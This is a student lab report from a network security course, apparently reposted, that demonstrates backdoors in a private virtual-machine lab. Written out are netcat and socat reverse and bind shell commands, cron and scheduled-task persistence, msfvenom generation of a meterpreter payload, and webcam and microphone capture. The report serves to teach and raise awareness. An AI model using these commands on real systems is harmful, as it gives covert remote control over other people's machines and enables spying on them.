20154324 刘康权 《网络对抗》Exp2 后门原理与实践

2023-10-15 11:50

本文主要是介绍20154324 刘康权 《网络对抗》Exp2 后门原理与实践,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

一、实践目标与内容

1.学习内容

  • 使用nc实现win,mac,Linux间的后门连接
  • meterpreter的应用
  • MSF POST 模块的应用

2.学习目标

  • 学习建立一个后门连接,并了解其中的知识点,同时熟悉后门连接的功能。通过亲手实践并了解这一事实,提高自己的安全意识 。

3.概念

  • 后门就是不经过正常认证流程而访问系统的通道。
  • netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
  • socat是ncat的增强版,它使用的格式是socat [options]
  • 其中两个address是必选项,而options 是可选项。socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

二、实践步骤:常用的后门工具的应用

1.Windows获得Linux Shell

1.1查看win7和linux的ip地址

1344859-20180328172857013-1535439148.png
1344859-20180328172901683-632168490.png

1.2windows打开监听

ncat.exe -l -p 4324

1.3Linux反弹连接windows

nc 192.168.211.129 4324 -e /bin/sh

1.4windows下获得linux shell,运行指令

1344859-20180328174253868-339643878.png

2.Linux获得Windows Shell

2.1Linux打开监听

nc -l -p 4324

2.2Windows反弹连接Linux

ncat.exe -e cmd.exe 192.168.211.130 4324

2.3Linux下看到Windows的命令提示

1344859-20180328174522394-1826253073.png

3.使用nc传输数据

3.1Windows下监听4324端口

ncat.exe -l -p 4324

3.2Linux下连接到Windows的4324端口

nc 192.168.211.129 4324

3.3建立连接成功之后,进行字符串的传输

1344859-20180328175103399-518722171.png
1344859-20180328175111423-1015216105.png

4.使用netcat获取主机操作Shell,cron启动

4.1先在Windows系统下,监听4324端口

ncat.exe -l -p 4324

4.2在Linux环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

1344859-20180328175739337-2120161976.png

4.3用crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器
4.4在最后一行添加44 * * * * /bin/netcat 192.168.211.129 4312 -e /bin/sh,意思是在每个小时的第44分钟反向连接Windows主机的4324端口,因为当时的时间是17:53,所以设置成44,这样,过一分钟就能看到效果了

1344859-20180328202749072-749246493.png

4.5在17:54的时候,获得了Linux的shell

1344859-20180328202900261-398957951.png

5.使用socat获取主机操作Shell, 任务计划启动

5.1在Windows系统下,打开控制面板,搜索计划任务,进去后就可以开始创建任务,填写任务名称后,新建一个触发器。

1344859-20180328203430428-493010361.png

5.2在操作->程序或脚本中选择socat.exe文件的路径,并在添加参数一栏填写tcp-listen:4324 exec:cmd.exe,pty,stderr,这个命令是为了把cmd.exe绑定到端口4324,同时把cmd.exe的stderr重定向到stdout上

1344859-20180328203626403-1134498598.png

注意:参数之间用空格或者 :隔开!

5.3创建之后,右键任务直接运行
5.4 在Linux环境下输入指令,这里的第一个参数代表标准的输入输出,第二个流连接到Windows主机的4324端口,此时可以发现已经成功获得了一个cmd shell

socat - tcp:192.168.211.129:4324
1344859-20180328204041884-960196404.png

6.使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

6.1在Linux环境下生成后门程序20154324_backdoor.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.130 LPORT=4324 -f exe > 20154324_backdoor.exe
1344859-20180328204313065-92622414.png

6.2通过nc指令将生成的后门程序传送到Windows主机上,Linux的nc指令在上图
  • nc 192.168.211.129 4324 < 20154324_backdoor.exe
  • ncat.exe -l 4324 > 20154324_backdoor.exe
    1344859-20180328204605541-456791993.png
6.3在Linux上使用msfconsole指令进入msf控制台,使用监听模块,并设置payload以及反弹回连的IP和端口:

1344859-20180328204717773-523520818.png
1344859-20180328204725761-313451169.png

6.4在设置完成后,在Linux环境执行监听

1344859-20180328204829334-918967867.png

6.5在Windows环境打开后门程序20154324_backdoor.exe,此时可以看到在Linux环境下已经获得了Windows主机的连接,并且得到了远程控制的shell

1344859-20180328205134707-2024677751.png

7.使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

7.1在前一次实践中已经获取主机Shell的前提下,进行录音并保存

1344859-20180328205340477-1379671566.png

7.2获取摄像头权限进行照相并保存

1344859-20180328205436072-2047071933.png

三、问题回答

1.例举你能想到的一个后门进入到你系统中的可能方式?

  • 通过这次实践,我意识到有许多方式可以设置后门进入我的系统,我觉得最有可能存在后门的就是非官方下载的软件,这里面很有可能存在后门,使得其他人可以进入我的系统,还有就是可以在许多可执行文件中设置后门。

2.例举你知道的后门如何启动起来(win及linux)的方式?

  • 我认为当设置后门的可执行软件执行到启动后门的特定步骤时,后门就会启动。或者伪装成一种服务,当用户启用服务时,就会启动后门。在Linux下,通过cron设置定时任务,到了特定时间就会有获得一个shell。而在windows下,通过设置任务计划,设置相应条件,满足条件就会实现启动后门,

3.Meterpreter有哪些给你映像深刻的功能?

  • 它的msfvenom指令可以编写可执行的后门程序,甚至可以设置反弹回连的IP、回连的端口和文件的类型,在通过nc传输后可以实现后门的功能。还有就是它的help语句,可以查看各种命令以及相应的用途。最让我震惊的就是还能进行录音、摄像,以后我一定要把摄像头盖住了。

4.如何发现自己有系统有没有被安装后门?

  • 我想到的第一个办法就是用杀毒软件,哈哈,但通过这次实践,我认为我们还可以通过扫描端口,查看端口是否存在绑定后门程序等问题。

四、心得体会

在这次实践中,我们学习了后门的基本原理及它的运行过程,但最重要的还是实现了简单的后门连接,而在这次实践中,我们运用的应用程序中的后门,或者可以说伪装为特定应用的专用后门程序,我感觉我的电脑中很有可能就存在后门程序。同时我也见识到了后门的厉害,可以实现许多功能,甚至还能实现一些我自己都没用过的功能。一定要认真学习好网络对抗,至少要保护好自己的系统。

五、存在的问题

1.两个虚拟机无法实现连接

  • 解决方法:改变虚拟机的网络连接方式为NAT模式,并进行相应的设置。

2.无法实现虚拟机的摄像功能

  • 解决方法:在VMware中,点击虚拟机中的可移动设备进行连接,启动虚拟机的摄像功能。

转载于:https://www.cnblogs.com/liukangquan/p/8666581.html

这篇关于20154324 刘康权 《网络对抗》Exp2 后门原理与实践的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/217515

相关文章

基于MySQL Binlog的Elasticsearch数据同步实践

一、为什么要做 随着马蜂窝的逐渐发展,我们的业务数据越来越多,单纯使用 MySQL 已经不能满足我们的数据查询需求,例如对于商品、订单等数据的多维度检索。 使用 Elasticsearch 存储业务数据可以很好的解决我们业务中的搜索需求。而数据进行异构存储后,随之而来的就是数据同步的问题。 二、现有方法及问题 对于数据同步,我们目前的解决方案是建立数据中间表。把需要检索的业务数据,统一放到一张M

深入探索协同过滤:从原理到推荐模块案例

文章目录 前言一、协同过滤1. 基于用户的协同过滤(UserCF)2. 基于物品的协同过滤(ItemCF)3. 相似度计算方法 二、相似度计算方法1. 欧氏距离2. 皮尔逊相关系数3. 杰卡德相似系数4. 余弦相似度 三、推荐模块案例1.基于文章的协同过滤推荐功能2.基于用户的协同过滤推荐功能 前言     在信息过载的时代,推荐系统成为连接用户与内容的桥梁。本文聚焦于

hdu4407(容斥原理)

题意:给一串数字1,2,......n,两个操作:1、修改第k个数字,2、查询区间[l,r]中与n互质的数之和。 解题思路:咱一看,像线段树,但是如果用线段树做,那么每个区间一定要记录所有的素因子,这样会超内存。然后我就做不来了。后来看了题解,原来是用容斥原理来做的。还记得这道题目吗?求区间[1,r]中与p互质的数的个数,如果不会的话就先去做那题吧。现在这题是求区间[l,r]中与n互质的数的和

Linux 网络编程 --- 应用层

一、自定义协议和序列化反序列化 代码: 序列化反序列化实现网络版本计算器 二、HTTP协议 1、谈两个简单的预备知识 https://www.baidu.com/ --- 域名 --- 域名解析 --- IP地址 http的端口号为80端口,https的端口号为443 url为统一资源定位符。CSDNhttps://mp.csdn.net/mp_blog/creation/editor

ASIO网络调试助手之一:简介

多年前,写过几篇《Boost.Asio C++网络编程》的学习文章,一直没机会实践。最近项目中用到了Asio,于是抽空写了个网络调试助手。 开发环境: Win10 Qt5.12.6 + Asio(standalone) + spdlog 支持协议: UDP + TCP Client + TCP Server 独立的Asio(http://www.think-async.com)只包含了头文件,不依

系统架构师考试学习笔记第三篇——架构设计高级知识(20)通信系统架构设计理论与实践

本章知识考点:         第20课时主要学习通信系统架构设计的理论和工作中的实践。根据新版考试大纲,本课时知识点会涉及案例分析题(25分),而在历年考试中,案例题对该部分内容的考查并不多,虽在综合知识选择题目中经常考查,但分值也不高。本课时内容侧重于对知识点的记忆和理解,按照以往的出题规律,通信系统架构设计基础知识点多来源于教材内的基础网络设备、网络架构和教材外最新时事热点技术。本课时知识

poj 3181 网络流,建图。

题意: 农夫约翰为他的牛准备了F种食物和D种饮料。 每头牛都有各自喜欢的食物和饮料,而每种食物和饮料都只能分配给一头牛。 问最多能有多少头牛可以同时得到喜欢的食物和饮料。 解析: 由于要同时得到喜欢的食物和饮料,所以网络流建图的时候要把牛拆点了。 如下建图: s -> 食物 -> 牛1 -> 牛2 -> 饮料 -> t 所以分配一下点: s  =  0, 牛1= 1~

poj 3068 有流量限制的最小费用网络流

题意: m条有向边连接了n个仓库,每条边都有一定费用。 将两种危险品从0运到n-1,除了起点和终点外,危险品不能放在一起,也不能走相同的路径。 求最小的费用是多少。 解析: 抽象出一个源点s一个汇点t,源点与0相连,费用为0,容量为2。 汇点与n - 1相连,费用为0,容量为2。 每条边之间也相连,费用为每条边的费用,容量为1。 建图完毕之后,求一条流量为2的最小费用流就行了

poj 2112 网络流+二分

题意: k台挤奶机,c头牛,每台挤奶机可以挤m头牛。 现在给出每只牛到挤奶机的距离矩阵,求最小化牛的最大路程。 解析: 最大值最小化,最小值最大化,用二分来做。 先求出两点之间的最短距离。 然后二分匹配牛到挤奶机的最大路程,匹配中的判断是在这个最大路程下,是否牛的数量达到c只。 如何求牛的数量呢,用网络流来做。 从源点到牛引一条容量为1的边,然后挤奶机到汇点引一条容量为m的边

hdu4407容斥原理

题意: 有一个元素为 1~n 的数列{An},有2种操作(1000次): 1、求某段区间 [a,b] 中与 p 互质的数的和。 2、将数列中某个位置元素的值改变。 import java.io.BufferedInputStream;import java.io.BufferedReader;import java.io.IOException;import java.io.Inpu